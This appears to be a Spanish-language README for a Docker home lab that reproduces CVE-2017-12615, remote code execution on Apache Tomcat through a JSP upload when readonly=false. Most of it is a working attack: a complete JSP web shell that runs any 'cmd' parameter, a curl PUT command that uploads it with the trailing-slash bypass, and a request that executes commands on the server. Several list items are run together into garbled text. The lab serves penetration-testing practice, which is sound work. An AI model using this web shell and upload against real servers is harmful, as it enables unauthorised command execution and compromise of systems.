CVE-2017-12615 Tomcat: Ejecución Remota de Código mediante Subida de JSP - Laboratorio en Casa para Equipo Rojo, Pruebas de Penetración
Este laboratorio simula la vulnerabilidad CVE-2017-12615 Tomcat: Ejecución Remota de Código mediante Subida de JSP
Se produce por la configuración readonly=false, que permite subir archivos mediante HTTP PUT, incluyendo archivos .jsp que pueden ejecutar comandos (RCE).
readonly=false.jsp en el directorio web ROOTflag_RANDOM.txt automáticamente cada vez que el contenedor se inicia/opt/apache-tomcat-7.0.79/
/opt/apache-tomcat-7.0.79/webapps/ROOT/index.jsp
/opt/apache-tomcat-7.0.79/webapps/ROOT/WEB-INF/web.xml
/tmp/flag_RANDOM.txt
/docker-entrypoint.sh
docker compose build
docker compose up -d
Abrir el navegador:
http://localhost:8080/
cat > shell.jsp << 'EOF'
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
String s;
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
while ((s = r.readLine()) != null) out.println(s + "<br>");
}
%>
EOF
/ al final del nombre)curl -v -X PUT "http://localhost:8080/shell.jsp/" -H "Content-Type: text/plain" --data-binary @shell.jsp
http://localhost:8080/shell.jsp?cmd=id
Se encuentra en:
/tmp/flag_RANDOM.txt
Este laboratorio simula CVE-2017-12615 Tomcat: Ejecución Remota de Código mediante Subida de JSP, donde el DefaultServlet de Apache Tomcat está mal configurado con:
readonly=false
Esto permite a los atacantes subir archivos .jsp mediante HTTP PUT, posibilitando la ejecución remota de código.
readonly=false.jsp arbitrarios en el directorio web ROOTflag_RANDOM.txt generado automáticamente al iniciar el contenedorcurl -v -X PUT "http://localhost:8080/shell.jsp/" -H "Content-Type: text/plain" --data-binary @shell.jsp
http://localhost:8080/shell.jsp?cmd=id
/tmp/flag_RANDOM.txt
Solo para fines educativos, de investigación y pruebas de penetración autorizadas.